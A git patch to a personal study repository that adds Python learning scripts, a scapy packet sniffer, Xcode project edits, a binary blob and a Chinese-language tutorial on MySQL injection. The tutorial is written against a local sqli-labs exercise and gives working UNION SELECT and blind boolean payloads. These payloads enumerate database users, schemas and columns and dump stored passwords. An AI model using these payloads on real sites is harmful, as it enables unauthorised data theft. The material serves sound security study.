From 9f6dee7ac57fbd7caa4f1d5b569879f0609c256e Mon Sep 17 00:00:00 2001 From: acevest Date: Sat, 3 Oct 2015 18:41:08 +0800 Subject: [PATCH] add mysqlinjection.md --- .gitignore | 2 + documents/MySQLInjection.md | 100 ++++++++++++++++++ learn/python/OptParse.py | 1 + learn/python/decorator.py | 73 +++++++++++++ learn/python/func.py | 44 +++++++- learn/python/image.py | 1 + learn/python/list.py | 22 ++++ learn/python/mul.py | 15 +++ learn/python/scapy.0.py | 12 +++ learn/python/scapy.1.py | 15 +++ learn/python/str.py | 10 ++ learn/python/urllib.0.py | 23 ++++ learn/python/utils.py | 8 +- tools/AceBox/AceBox.xcodeproj/project.pbxproj | 2 + .../xcshareddata/AceBox.xccheckout | 8 +- .../UserInterfaceState.xcuserstate | Bin 24828 -> 28731 bytes .../AceBox/AceBox/Base.lproj/LaunchScreen.xib | 14 ++- .../AceBox/AceBox/Base.lproj/Main.storyboard | 42 +++++--- tools/comm/countc.c | 2 + tools/hack/ant.py | 20 ++-- tools/hack/app.py | 96 +++++++++++++++++ 21 files changed, 479 insertions(+), 31 deletions(-) create mode 100644 documents/MySQLInjection.md create mode 100755 learn/python/decorator.py create mode 100755 learn/python/mul.py create mode 100755 learn/python/scapy.0.py create mode 100755 learn/python/scapy.1.py create mode 100755 learn/python/urllib.0.py create mode 100755 tools/hack/app.py diff --git a/.gitignore b/.gitignore index 18789f4..d36b95c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,5 @@ *.pyc ish *.DS_Store +*.swp +dvwa diff --git a/documents/MySQLInjection.md b/documents/MySQLInjection.md new file mode 100644 index 0000000..524d857 --- /dev/null +++ b/documents/MySQLInjection.md @@ -0,0 +1,100 @@ +#MYSQL注入笔记 +##判断注入类型 +设数据库```security```里有如下```users```表。 + +``` +mysql> desc users; ++----------+-------------+------+-----+---------+----------------+ +| Field | Type | Null | Key | Default | Extra | ++----------+-------------+------+-----+---------+----------------+ +| id | int(3) | NO | PRI | NULL | auto_increment | +| username | varchar(20) | NO | | NULL | | +| password | varchar(20) | NO | | NULL | | ++----------+-------------+------+-----+---------+----------------+ +3 rows in set (0.00 sec) +``` +大致PHP代码如下 + +``` +"; + echo 'Your Password:' .$row['password']; + } else { + print_r(mysql_error()); + } +} else { + echo "Please input the ID as parameter with numeric value"; +} +?> +``` + +###1. 文本型 +```SELECT * FROM users WHERE id='$id' LIMIT 0,1;``` + +提交```?id=1' AND '1'='1```和```?id=1' AND '1'='2```来判断。 +###2. 数字型 +```SELECT * FROM users WHERE id=$id LIMIT 0,1;``` + +提交```?id=1 AND 1=1```和```?id=1 AND 1=2```来判断。 +##构造注入SQL + +###1. 猜解字段数 + +通过``` UNION ALL SELECT NULL```中的```NULL```来猜解表的字段数，例如对于```users```表采用```SELECT *```的话就需要把SQL构造成``` UNION ALL SELECT NULL, NULL, NULL#```，如果采用```SELECT username, password```就只需要``` UNION ALL SELECT NULL, NULL#```就能判断出了。因此如果程序中写的不是```SELECT *```的话，猜解出来的字段数与实际可能不太一样。 + +###1. 获取MySQL信息 + +如果想要获取数据库的一些信息可以利用已经显示出来的字段，在构造注入代码的时候将这些信息替换到已经显示的字段里。 + +例如对于```SELECT * FROM users WHERE id=1```，得到 + +``` ++----+----------+----------+ +| id | username | password | ++----+----------+----------+ +| 1 | Dumb | Dumb | ++----+----------+----------+ +1 row in set (0.00 sec) +``` + +对于```SELECT * FROM users WHERE id=1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```，还是得到一样的结果。说好的数据库信息呢？ + +``` ++------+----------+----------+ +| id | username | password | ++------+----------+----------+ +| 1 | Dumb | Dumb | ++------+----------+----------+ +1 row in set (0.00 sec) +``` + +所以还要对```SQL```语句稍加改造```SELECT * FROM users WHERE id=-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL LIMIT 0,1;```就可以得到想要的结果 + +``` ++------+----------------+----------+ +| id | username | password | ++------+----------------+----------+ +| NULL | root@localhost | NULL | ++------+----------------+----------+ +1 row in set (0.00 sec) +``` +因此如果网页上展示了username，那么就能直接得到当前连接数据库的用户名。因此我们提交的构造代码关键部分为```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL```。另外需要注意的是构造出来的字段数要与原始正常```SQL```字段数相同。 + +* 获取当前连接数据库的用户名 ```-1 UNION ALL SELECT NULL, CURRENT_USER(), NULL``` +* 获取当前数据库的名字 ```-1 UNION ALL SELECT NULL, DATABASE(), NULL``` +* 获取当前数据库的版本号 ```-1 UNION ALL SELECT NULL, VERSION(), NULL``` +* 获取当前服务器上数据库数量 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.SCHEMATA), NULL``` +* 如果不能直接通过网页得到数据库数量，可以通过```1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),CHAR(32)) FROM information_schema.SCHEMATA),1,1)) > ord('1') ```来猜解。 +* 猜解表名```1 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0,1),1,1)) > ord('a')``` 当猜解的字母的值只有```>=0```成功时，表示该表名猜解完成。（其中```LIMIT x,y```中```x```表示从第几条记录开始查询，```y```表示最多要查询多少条记录）。通过变动```MID```和```LIMIT```的参数就可以把所有表名猜解完。 +* 猜解表的字段数 ```-1 UNION ALL SELECT NULL, (SELECT COUNT(*) FROM information_schema.COLUMNS where table_name='users' AND table_schema='security'), NULL``` 或 ```-1 UNION ALL SELECT NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)), NULL FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121)``` +* 逐个猜解字段 ```-1 UNION ALL SELECT NULL, CONCAT(column_name, ' ', column_type), NULL FROM information_schema.COLUMNS where table_name='users' AND table_schema='security' LIMIT 0,1``` 或 ```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(column_name AS CHAR),CHAR(32)), ' ', IFNULL(CAST(column_type AS CHAR),CHAR(32))) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND table_schema=CHAR(115,101,99,117,114,105,116,121) LIMIT 0,1``` +* 猜解记录数```-1 UNION ALL SELECT NULL, NULL, IFNULL(CAST(COUNT(*) AS CHAR),CHAR(32)) FROM security.users``` +* 逐个获取字段```-1 UNION ALL SELECT NULL, NULL, CONCAT(IFNULL(CAST(id AS CHAR),CHAR(32)), ' ',IFNULL(CAST(username AS CHAR),CHAR(32)), ' ', IFNULL(CAST(password AS CHAR),CHAR(32))) FROM security.users LIMIT 0,1``` diff --git a/learn/python/OptParse.py b/learn/python/OptParse.py index 39bfe43..a75a22d 100755 --- a/learn/python/OptParse.py +++ b/learn/python/OptParse.py @@ -7,6 +7,7 @@ # ------------------------------------------------------------------------ # -*- coding: utf-8 -*- +# python已经不再更新本库,可以改用argparse import optparse def main() : diff --git a/learn/python/decorator.py b/learn/python/decorator.py new file mode 100755 index 0000000..a1871d8 --- /dev/null +++ b/learn/python/decorator.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: decorator.py +# Author: Zhao Yanbai +# Fri Oct 2 19:00:55 2015 +# Description: 装饰器 +# ------------------------------------------------------------------------ + +import time +import functools + +def now() : + print time.asctime() + +######################## +def now0() : + now() + +now0() +print now0.__name__ + + +######################## +def log1(func) : + def wrapper1(*args, **kw) : + print '[This is the decorator] > ', + return func(*args, **kw) + return wrapper1 + +@log1 +def now1() : + now() + +now1() +print now1.__name__ + +######################## +def log2(param) : + # 先实现处理传入参数的函数 + # 再实现装饰器 + def decorator(func) : + def wrapper2(*args, **kw) : + print '[This is the parameter {0}] >'.format(param), + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper2 + return decorator + +@log2('LOG2') #等价于 log2('LOG2')(now2) +def now2() : + now() + +now2() +print now2.__name__ + + + +######################## +# 让装饰器不影响函数名字 +def log3(func) : + @functools.wraps(func) + def wrapper3(*args, **kw) : + print '[This is the decorator] >', + return func(*args, **kw) + return wrapper3 + +@log3 +def now3() : + now() + +now3() +print now3.__name__ diff --git a/learn/python/func.py b/learn/python/func.py index a197999..304dfd3 100755 --- a/learn/python/func.py +++ b/learn/python/func.py @@ -77,6 +77,48 @@ print "before swap a =", a, "b =", b; swap(a, b); print "after swap a =", a, "b =", b; + + + +# 可变参数声明形式是是在参数前面加上'*' +def Sum(*num) : + s = 0 + for n in num : + s += n + return s + + +print Sum(1, 2, 3, 4, 5, 6) + +# 如果想把一个list or tuple当多个参数传进去只需要在list or tuple前加'*' +para = [i for i in range(0, 101)] +print Sum(*para) +para = (1, 2, 3) +print Sum(*para) + + +# 两个'*'表示可变关键字参数 +def ListParam(name, age, **kw) : + print 'name:', name, 'age:', age, 'other:', kw + +ListParam('Name.Ace', 99) +ListParam('Name.Bob', 7, city='Beijing') +ListParam('Name.Ada', 24, city='Shenzhen', gender='F', job='Engineer') +kw = {'city' : 'Chengdu', 'job' : 'IT', 'gender' : 'M'} +ListParam('Name.Jack', 9, **kw) + + +def Param(a, b, c=0, *args, **kw) : + print 'a=', a, 'b=', b, 'c=', c, 'args=', args, 'kw=', kw + +Param(1, 2) +Param(1, 2, c=3) +Param(1, 2, 3) +Param(1, 2, 3, 'a', 'b') +Param(1, 2, 3, 'a', 'b', 'c') +Param(1, 2, 3, 'a', 'b', 'c', pa='va', pb='vb') +Param(1, 2, *para, **kw) + # DocString def docstring_func(x): '''Print x. @@ -86,6 +128,6 @@ def docstring_func(x): docstring_func(1); print docstring_func.__doc__; -help(docstring_func); +#help(docstring_func); diff --git a/learn/python/image.py b/learn/python/image.py index cd3b316..7699a3e 100755 --- a/learn/python/image.py +++ b/learn/python/image.py @@ -8,6 +8,7 @@ # -*- coding: utf-8 -*- class Image : def __init__(self, width, height, filename="", background="#FFFFFF") : + # 以'__'开头的变量名为私有成员变量 self.__width = width self.__height = height self.__filename = filename diff --git a/learn/python/list.py b/learn/python/list.py index b763e77..856c021 100755 --- a/learn/python/list.py +++ b/learn/python/list.py @@ -20,6 +20,7 @@ L.sort() print L L.reverse() print L +print L[-1] def printLine(): print "-"*80 @@ -73,7 +74,22 @@ print L def sum(l) : def add(x, y) : return x+y return reduce(add, l, 0) + +def trans(l) : + def mul(x, y) : return x*10 + y + return reduce(mul, l) print "Sum of L is:", sum(L) +L = L[:9] +print L +print "Translate L to:", trans(L) + +print "Filter" +def isOdd(n) : + return n % 2 == 0 + +L = filter(isOdd, L) +print L + printLine() L = [" abc", "DE ", " FG ", " hi jkl "] @@ -98,3 +114,9 @@ for x in range(len(a)) : a += b print a + + +# 按下标循环 +print L +for i, v in enumerate(L) : + print i, v diff --git a/learn/python/mul.py b/learn/python/mul.py new file mode 100755 index 0000000..9981697 --- /dev/null +++ b/learn/python/mul.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: mul.py +# Author: Zhao Yanbai +# Thu Oct 1 15:10:27 2015 +# Description: none +# ------------------------------------------------------------------------ + +for j in range(1, 10) : + for i in range(1, 10) : + if i>j : + continue + print "{0}*{1}={2:<2d}\t".format(i, j, i*j), + print "" diff --git a/learn/python/scapy.0.py b/learn/python/scapy.0.py new file mode 100755 index 0000000..0f0d2c4 --- /dev/null +++ b/learn/python/scapy.0.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.0.py +# Author: Zhao Yanbai +# Thu Oct 1 11:19:02 2015 +# Description: none +# ------------------------------------------------------------------------ +import scapy +import scapy.all + + diff --git a/learn/python/scapy.1.py b/learn/python/scapy.1.py new file mode 100755 index 0000000..52da342 --- /dev/null +++ b/learn/python/scapy.1.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: scapy.1.py +# Author: Zhao Yanbai +# Sun Sep 27 11:12:24 2015 +# Description: none +# ------------------------------------------------------------------------ + +from scapy.all import * + +def packet_callback(packet) : + print packet.show() + +scapy.all.sniff(filter='tcp', prn=packet_callback, store=0) diff --git a/learn/python/str.py b/learn/python/str.py index adc6ee1..606d3ab 100755 --- a/learn/python/str.py +++ b/learn/python/str.py @@ -52,3 +52,13 @@ Google = 2 Microsoft = 3 print "{Apple} {Google} {Microsoft}".format(**locals()) +#r'' 表示''内的内容不用转义 +print r'a\nb\tc' +print r"a\n'b\tc" + +print r'''abc +c\tefghijlk\nfff +ffff''' + +print ord('A') +print chr(65) diff --git a/learn/python/urllib.0.py b/learn/python/urllib.0.py new file mode 100755 index 0000000..b93cd57 --- /dev/null +++ b/learn/python/urllib.0.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: urllib.0.py +# Author: Zhao Yanbai +# Thu Oct 1 12:15:20 2015 +# Description: none +# ------------------------------------------------------------------------ +import urllib +import urllib2 +import urlparse + +url = "http://192.168.1.101:8080/sqli/Less-1/index.php?id=1" + +print urlparse.urlsplit(url) + +request = urllib2.Request(url) +response = urllib2.urlopen(request) + + +print response.read() + +response.close() diff --git a/learn/python/utils.py b/learn/python/utils.py index 09e6a2e..9dd28ab 100755 --- a/learn/python/utils.py +++ b/learn/python/utils.py @@ -1,15 +1,21 @@ #!/usr/bin/env python +# -*- coding: utf-8 -*- # ------------------------------------------------------------------------ # File Name: utils.py # Author: Zhao Yanbai # Sat Apr 28 18:56:52 2012 # Description: none # ------------------------------------------------------------------------ -# -*- coding: utf-8 -*- import os +import collections print('HOME:\t' + os.getenv('HOME')) print('PATH:\t' + os.getenv('PATH')) print('PWD:\t' + os.getenv('PWD')) print('OLDPWD:\t' + os.getenv('OLDPWD')) + +#判断一个对象是否可以迭代 +print isinstance('0xACE', collections.Iterable) +print isinstance([1, 2, 3, 4], collections.Iterable) +print isinstance(0xACE, collections.Iterable) diff --git a/tools/AceBox/AceBox.xcodeproj/project.pbxproj b/tools/AceBox/AceBox.xcodeproj/project.pbxproj index 4d1edc2..cf18b9f 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.pbxproj +++ b/tools/AceBox/AceBox.xcodeproj/project.pbxproj @@ -417,6 +417,7 @@ 50A4F2981AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; 50A4F2991AF2154100DB7E36 /* Build configuration list for PBXNativeTarget "AceBoxTests" */ = { isa = XCConfigurationList; @@ -425,6 +426,7 @@ 50A4F29B1AF2154100DB7E36 /* Release */, ); defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout index 97be529..7a2852c 100644 --- a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout +++ b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcshareddata/AceBox.xccheckout @@ -7,21 +7,21 @@ IDESourceControlProjectIdentifier A1372EDB-125D-4A73-9AE8-955FA3D42EAE IDESourceControlProjectName - project + AceBox IDESourceControlProjectOriginsDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectPath - tools/AceBox/AceBox.xcodeproj/project.xcworkspace + tools/AceBox/AceBox.xcodeproj IDESourceControlProjectRelativeInstallPathDictionary BA634633803B1A00DDD2BCDEF5C645E5844F56E6 ../../../.. IDESourceControlProjectURL - https://github.com/acevest/acecode.git + https://github.com/acevest/acecode IDESourceControlProjectVersion 111 IDESourceControlProjectWCCIdentifier diff --git a/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate b/tools/AceBox/AceBox.xcodeproj/project.xcworkspace/xcuserdata/Ace.xcuserdatad/UserInterfaceState.xcuserstate index dd6cba777495712787fadd9155e87495c4138d9b..06b1c0f5664e501d3cc67fd858f90f890844ac27 100644 GIT binary patch literal 28731 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 